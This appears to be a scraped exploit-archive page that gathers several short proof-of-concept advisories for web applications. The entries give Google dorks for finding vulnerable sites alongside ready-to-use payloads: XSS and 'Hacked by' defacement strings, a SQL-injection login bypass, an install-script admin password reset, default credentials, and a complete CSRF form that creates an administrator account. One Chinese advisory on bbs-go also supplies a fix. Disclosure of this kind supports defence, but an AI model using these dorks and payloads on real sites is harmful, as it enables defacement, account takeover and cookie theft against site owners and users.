Adveris CMS version 3.0 suffers from a cross site scripting vulnerability.

**Adveris CMS 3.0 Cross Site Scripting**

Posted Jul 4, 2023

Authored by indoushka

Adveris CMS version 3.0 suffers from a cross site scripting vulnerability.

tags | exploit, xss

SHA-256 | f4e69d15add89915deaf239446b331cc9106cc57ee69bf29f992d6be03d4d471

Download | Favorite | View

**Adveris CMS 3.0 Cross Site Scripting**

    ====================================================================================================================================| # Title     : Adveris CMS v3.0 XSS Vulnerability                                                                                || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 68.0(32-bit)                                               | | # Vendor    : http://adveris.fr                                                                                                  |  | # Dork      : "Création site internet : Adveris" inurl:.php?id=                                                                  |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Use Payload : /sous-categorie.php?id=6<--`<script>alert(/indoushka/);</script>``> --!>[+] http://w127.0.0.1/coveprofr/sous-categorie.php?id=6%3C--`%3Cscript%3Ealert(/indoushka/);%3C/script%3E``%3E%20--!%3EGreetings to :=========================================================================================================================jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr  |=======================================================================================================================================

**File Tags**

*   ActiveX (932)
*   Advisory (81,556)
*   Arbitrary (16,119)
*   BBS (2,859)
*   Bypass (1,725)
*   CGI (1,025)
*   Code Execution (7,203)
*   Conference (678)
*   Cracker (841)
*   CSRF (3,329)
*   DoS (23,289)
*   Encryption (2,363)
*   Exploit (51,413)
*   File Inclusion (4,202)
*   File Upload (960)
*   Firewall (821)
*   Info Disclosure (2,742)
*   Intrusion Detection (888)
*   Java (3,007)
*   JavaScript (845)
*   Kernel (6,610)
*   Local (14,412)
*   Magazine (586)
*   Overflow (12,628)
*   Perl (1,423)
*   PHP (5,134)
*   Proof of Concept (2,336)
*   Protocol (3,571)
*   Python (1,526)
*   Remote (30,582)
*   Root (3,573)
*   Rootkit (506)
*   Ruby (611)
*   Scanner (1,633)
*   Security Tool (7,861)
*   Shell (3,168)
*   Shellcode (1,212)
*   Sniffer (893)
*   Spoof (2,193)
*   SQL Injection (16,254)
*   TCP (2,395)
*   Trojan (687)
*   UDP (885)
*   Virus (664)
*   Vulnerability (31,654)
*   Web (9,600)
*   Whitepaper (3,747)
*   x86 (961)
*   XSS (17,791)
*   Other

**File Archives**

*   July 2023
*   June 2023
*   May 2023
*   April 2023
*   March 2023
*   February 2023
*   January 2023
*   December 2022
*   November 2022
*   October 2022
*   September 2022
*   August 2022
*   Older

**Systems**

*   AIX (428)
*   Apple (1,981)
*   BSD (373)
*   CentOS (57)
*   Cisco (1,921)
*   Debian (6,782)
*   Fedora (1,691)
*   FreeBSD (1,244)
*   Gentoo (4,321)
*   HPUX (879)
*   iOS (346)
*   iPhone (108)
*   IRIX (220)
*   Juniper (67)
*   Linux (46,067)
*   Mac OS X (685)
*   Mandriva (3,105)
*   NetBSD (256)
*   OpenBSD (483)
*   RedHat (13,489)
*   Slackware (941)
*   Solaris (1,610)
*   SUSE (1,444)
*   Ubuntu (8,709)
*   UNIX (9,256)
*   UnixWare (186)
*   Windows (6,560)
*   Other

Adveris CMS 3.0 Cross Site Scripting

Advanced HRM version 1.6 allows for the reseting of the administrative password.

    ====================================================================================================================================| # Title     : Advanced HRM v1.6 Reset admin login Vulnerability                                                                  || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 62.0.3 (32-bit)                                            || # Vendor    : https://codecanyon.net/item/advanced-hrm/17767006                                                                  |  | # Dork      : "Copyright © CoderPixel 2016 All Rights Reserved"                                                                  |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine .[+] The Vulnerability revolves around resetting script settings and reformulating a new password for the admin .[+] use payload : /application/install/step5.php[+] http://127.0.0.1/appchain.commy/hrm/application/install/step5.php[+] Congratulations!    You have just install Advance HRM!    To Login Admin Portal:    Use this link - http://127.0.0.1/appchain.commy/hrm/    Username: admin    Password: admin.passwordGreetings to :=========================================================================================================================jericho * Larry W. Cashdollar * brutelogic* hyp3rlinx* 9aylas * djroot.dz * LiquidWorm* Hussin-X *D4NB4R * shadow_00715 * yasMouh     |=======================================================================================================================================

Advanced HRM 1.6 Insecure Direct Object Reference

ADMINA BULGARIA Ltd version 1.0 appears to leave default credentials installed after installation.

    ====================================================================================================================================| # Title     : ADMINA BULGARIA Ltd v 1.0 Insecure Settings Vulnerability                                                          || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 69.0(32-bit)                                               | | # Vendor    : http://admina.me/                                                                                                  |  | # Dork      : " ADMINA BULGARIA Ltd.. All Rights Reserved. ."                                                                    |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] user : admina & pass : 0000[+] http://127.0.0.1/res-clusterorg/admina/ <====| LoginGreetings to :=========================================================================================================================jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr  |=======================================================================================================================================

ADMINA BULGARIA Ltd 1.0 Insecure Settings

Active Super Shop version 1.5.1 suffers from an html injection vulnerability.

    ====================================================================================================================================| # Title     : Active super shop v1 5.1 HTML inject Vulnerability                                                                 || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 64.0.2 (32-bit)                                            | | # Vendor    : https://activeitzone.com/demo/shop/                                                                                |  | # Dork      : "Home || Active Super Shop"                                                                                        |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Register new member .[+] go to edit your profil https://127.0.0.1/3woru/home/profile/[+] edit your profil , put your code or use this code for test in First Name case or Last Name or ...etc :<marquee><font color=lime size=32>Hacked by indoushka</font></marquee></tr><td align="center"><a href="https://cxsecurity.com/author/indoushka/1/"><img src="https://cert.cx/cxstatic/images/12018/cxseci.png" alt="" width="650" height="120" border="0"></a></tr>Greetings to :=========================================================================================================================                                                                                                                                      |jericho * Larry W. Cashdollar * brutelogic* shadow_00715* 9aylas * djroot.dz * LiquidWorm* Hussin-X *D4NB4R * ViRuS_Ra3cH * yasMouh   |                                                                                                                                              |=======================================================================================================================================

Active Super Shop 1.5.1 HTML Injection

Aathesh Soft CMS version 0.3.0 suffers from a cross site scripting vulnerability.

    ====================================================================================================================================| # Title     : Aathesh Soft CMS v0.3.0 XSS Vulnerability                                                                          || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 63.0.3 (32-bit)                                            || # Vendor    : https://aatheshsoft.com                                                                                            || # Dork      : intext:''Developed by Aathesh Soft Infotech Pvt Ltd''                                                              |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] use payload : /search.php?search=e%27%22()%26%25%3Cacx%3E%3CScRiPt%20%3Eprompt(939443)%3C/ScRiPt%3E[+] http://127.0.0.1/ryncoorchidscom/search.php?search=e%27%22()%26%25%3Cacx%3E%3CScRiPt%20%3Eprompt(939443)%3C/ScRiPt%3EGreetings to :=========================================================================================================================jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr  |=======================================================================================================================================

Aathesh Soft CMS 0.3.0 Cross Site Scripting

Ariadna CMS version 0.3 suffers from a cross site scripting vulnerability.

    ====================================================================================================================================| # Title     : Ariadna CMS v.3 - XSS Vulnerability                                                                                || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 64.0.2 (32-bit)                                            | | # Vendor    : http://ariadna3.com                                                                                                |  | # Dork      : intext:''Powered by ariadna3.com''                                                                                 |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] click 2 creat a Nouveau RDV & use payload : <marquee><font color=lime size=32>Hacked by indoushka</font></marquee>[+] https://127.0.0.1/www.aytoatecaes/turismo/fotografia-galerias.php?ID=%3Cmarquee%3E%3Cfont%20color=lime%20size=32%3EHacked%20by%20indoushka%3C/font%3E%3C/marquee%3E ====Greetings to :=========================================================================================================================| jericho * Larry W. Cashdollar * brutelogic* hyp3rlinx* 9aylas * djroot.dz * LiquidWorm* Hussin-X *D4NB4R * shadow_00715 * yasMouh       |===========================================================================================================================================

Ariadna CMS 0.3 Cross Site Scripting

Cross Site Scripting vulnerability in mlogclub bbs-go v. 3.5.5. and before allows a remote attacker to execute arbitrary code via a crafted payload to the comment parameter in the article function.

**漏洞名称**  
bbs-go 存储式跨站脚本漏洞

**受影响实体版本号**  
bbs-go <= 3.5.5

**漏洞类型**  
存储式跨站脚本

**危害等级**  
高危

**漏洞简介**  
bbs-go是一个使用Go语言搭建的开源社区系统，采用前后端分离技术，Go语言提供api进行数据支撑，用户界面使用Nuxt.js进行渲染，后台界面基于element-ui。  
bbs-go存在存储式跨站脚本漏洞，该漏洞源于程序未正确处理来自用户的输入。用户注册后在文章评论处可以注入恶意javascript脚本，管理员在管理端-内容管理-文章管理处点击查看评论时触发恶意脚本，导致泄露cookie等信息。  
以下产品及版本受到影响：bbs-go <= 3.5.5  
bbs-go的下载地址：https://github.com/mlogclub/bbs-go

**漏洞验证**  
前置条件：用户注册登录  
步骤：

1.  运行bbs-go = 3.5.5环境
2.  配置burpsuite抓包
3.  前台注册一个用户test4：

4.  test4登录
5.  点击“文章”，找到一篇文章，或者自己发表一篇文章

6.  评论，输入payload:并发布

完整请求报文：  
POST /api/comment/create HTTP/1.1  
Host: 192.168.111.130:3000  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/110.0  
Accept: application/json, text/plain, _/_  
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2  
Accept-Encoding: gzip, deflate  
X-Client: bbs-go-site  
X-User-Token: 1c1c47cb70f447589944117cb339518b  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 100  
Origin: http://192.168.111.130:3000  
Connection: close  
Referer: http://192.168.111.130:3000/article/4  
Cookie: Hm\_lvt\_79b8ff82974d0769ef5c629e4cd46629=1677550437; Hm\_lpvt\_79b8ff82974d0769ef5c629e4cd46629=1677639532; Admin-Token=57581e925fad47688596c13f8a48803d; userToken=1c1c47cb70f447589944117cb339518b

entityType=article&entityId=4&content=%3Cimg%20src%20onerror%3Dalert%28123%29%3E&imageList=&quoteId=  
7\. 使用管理员账号admin/123456登录管理端，点击内容管理-文章管理，选择这篇文章，查看评论

触发XSS

**修复建议**  
bbs-go\\server\\controllers\\admin\\comment\_controller.go:71  
改为builder.Put("content", html.EscapeString(comment.Content))  
对comment.Content进行html实体编码可临时解决该漏洞。

CVE-2023-36222: bbs-go 存储式跨站脚本漏洞1 · Issue #206 · mlogclub/bbs-go

Anuranan SBAdmin version 2.0 suffers from a remote SQL injection vulnerability that allows for authentication bypass.

    ====================================================================================================================================| # Title     : Anuranan SBAdmin v2.0 Auth By Pass Vulnerability                                                                   || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 113.0.1 (64 bits)                                          | | # Vendor    : https://anuranangroup.com/                                                                                         |  | # Dork      : Created by: Anuranan Group                                                                                         |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Use Payload : user&pass= ' or 0=0 # [+] http://127.0.0.1/ipedexcellencecom/kontlo/index.php====Greetings to :=======================================================================================================================| jericho * Larry W. Cashdollar * brutelogic* hyp3rlinx* CraCkEr * djroot.dz * LiquidWorm* Hussin-X *D4NB4R * shadow_00715 * yasMouh    |=========================================================================================================================================

Anuranan SBAdmin 2.0 SQL Injection

XEL CMS version 1.1 suffers from a cross site request forgery vulnerability.

    ====================================================================================================================================| # Title     : XEL cms© v1.1 CSRF Vulnerability                                                                                   || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 66.0.3(32-bit)                                             | | # Vendor    : https://cyberxel.com                                                                                               |  | # Dork      : "contact at: +91-98144 06799, z91-161-2408274 email: info@cyberxel.com"                                            |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Admin Panel : /xelcms/[+] infected file : /xelcms/user/adduser.php[+] line 07 set your target.[+] save code as poc.html    <style>@import 'http://cyberxel.com/xelcms/styles/main.css';#form1 table {  font-size: 12px;} </style><link href="http://cyberxel.com/xelcms/fckeditor/_samples/sample.css" rel="stylesheet" type="text/css" /><span class=td><img src="http://cyberxel.com/xelcms/dzimages/arrowpath.gif" />&nbsp;<a href="users.php" class=td>Users</a> <img src="http://cyberxel.com/xelcms//dzimages/arrowpath2.gif" />&nbsp;Add user</h2> </span><br><br><form id="form1" name="form1" method="post" action="TARGET_SITE/xelcms/user/adduser.php">  <table width="99%" border="0" cellpadding="2" cellspacing="2">    <tr>      <td width="8%">Username:</td>      <td width="92%"><label>        <input name="username" type="text" id="username" style="font-size: 10px;width:300" />      </label></td>    </tr>    <tr>      <td>Password:</td>      <td><label>        <input name="password" type="password" id="password" style="font-size: 10px;width:300" />      </label></td>    </tr>  <tr>      <td>Confirm password:</td>      <td><label>        <input name="password2" type="password" id="password2" style="font-size: 10px;width:300" />      </label></td>    </tr>    <tr>      <td>Type:</td>      <td><label>        <select name="type" id="type" style="font-size: 10px;width:300">          <option value="" selected></option>      <option value="Administrator">Administrator</option>          <option value="User">User</option>        </select>      </label></td>    </tr>    <tr>      <td>&nbsp;</td>      <td>        <input type="submit" name="Submit" value="Create user" style="font-size: 10px;" />      </td>    </tr>  </table></form>Greetings to :=========================================================================================================================jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr  |=======================================================================================================================================

XEL CMS 1.1 Cross Site Request Forgery

Strawberry version 1.1.9 suffers from a cross site scripting vulnerability.

**Strawberry 1.1.9 Cross Site Scripting**

Posted Jul 2, 2023

Authored by indoushka

Strawberry version 1.1.9 suffers from a cross site scripting vulnerability.

tags | exploit, xss

SHA-256 | 5006ad4fe5ee6631967fbcda59c50822e4f6cf4db227a33b6f3fba8640dbb942

Download | Favorite | View

**Strawberry 1.1.9 Cross Site Scripting**

    ====================================================================================================================================| # Title     : Strawberry 1.1.9 XSS Vulnerability                                                                                 || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 66.0.2(32-bit)                                             | | # Vendor    : https://cutenewsru.sourceforge.io/strawberry/                                                                      |  | # Dork      : "Powered by Strawberry 1.1.9"                                                                                      |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Use Payload : /content/index.php/"onmouseover%3d'prompt(document.cookies)'bad%3d"[+] http://127.0.0.1/dverekomondoorcom/content/index.php/"onmouseover%3d'prompt(document.cookies)'bad%3d"Greetings to :=========================================================================================================================jericho * Larry W. Cashdollar * brutelogic* hyp3rlinx* 9aylas * shadow_00715 * LiquidWorm* moncet                                     |        =======================================================================================================================================

**File Tags**

*   ActiveX (932)
*   Advisory (81,554)
*   Arbitrary (16,117)
*   BBS (2,859)
*   Bypass (1,725)
*   CGI (1,025)
*   Code Execution (7,203)
*   Conference (678)
*   Cracker (841)
*   CSRF (3,328)
*   DoS (23,288)
*   Encryption (2,363)
*   Exploit (51,405)
*   File Inclusion (4,202)
*   File Upload (960)
*   Firewall (821)
*   Info Disclosure (2,742)
*   Intrusion Detection (888)
*   Java (3,007)
*   JavaScript (845)
*   Kernel (6,610)
*   Local (14,412)
*   Magazine (586)
*   Overflow (12,627)
*   Perl (1,423)
*   PHP (5,134)
*   Proof of Concept (2,336)
*   Protocol (3,571)
*   Python (1,526)
*   Remote (30,582)
*   Root (3,573)
*   Rootkit (506)
*   Ruby (611)
*   Scanner (1,633)
*   Security Tool (7,861)
*   Shell (3,168)
*   Shellcode (1,212)
*   Sniffer (893)
*   Spoof (2,193)
*   SQL Injection (16,254)
*   TCP (2,395)
*   Trojan (687)
*   UDP (885)
*   Virus (664)
*   Vulnerability (31,654)
*   Web (9,600)
*   Whitepaper (3,747)
*   x86 (961)
*   XSS (17,787)
*   Other

**File Archives**

*   July 2023
*   June 2023
*   May 2023
*   April 2023
*   March 2023
*   February 2023
*   January 2023
*   December 2022
*   November 2022
*   October 2022
*   September 2022
*   August 2022
*   Older

**Systems**

*   AIX (428)
*   Apple (1,981)
*   BSD (373)
*   CentOS (57)
*   Cisco (1,921)
*   Debian (6,782)
*   Fedora (1,691)
*   FreeBSD (1,244)
*   Gentoo (4,321)
*   HPUX (879)
*   iOS (346)
*   iPhone (108)
*   IRIX (220)
*   Juniper (67)
*   Linux (46,065)
*   Mac OS X (685)
*   Mandriva (3,105)
*   NetBSD (256)
*   OpenBSD (483)
*   RedHat (13,489)
*   Slackware (941)
*   Solaris (1,610)
*   SUSE (1,444)
*   Ubuntu (8,707)
*   UNIX (9,256)
*   UnixWare (186)
*   Windows (6,560)
*   Other

Tag

#firefox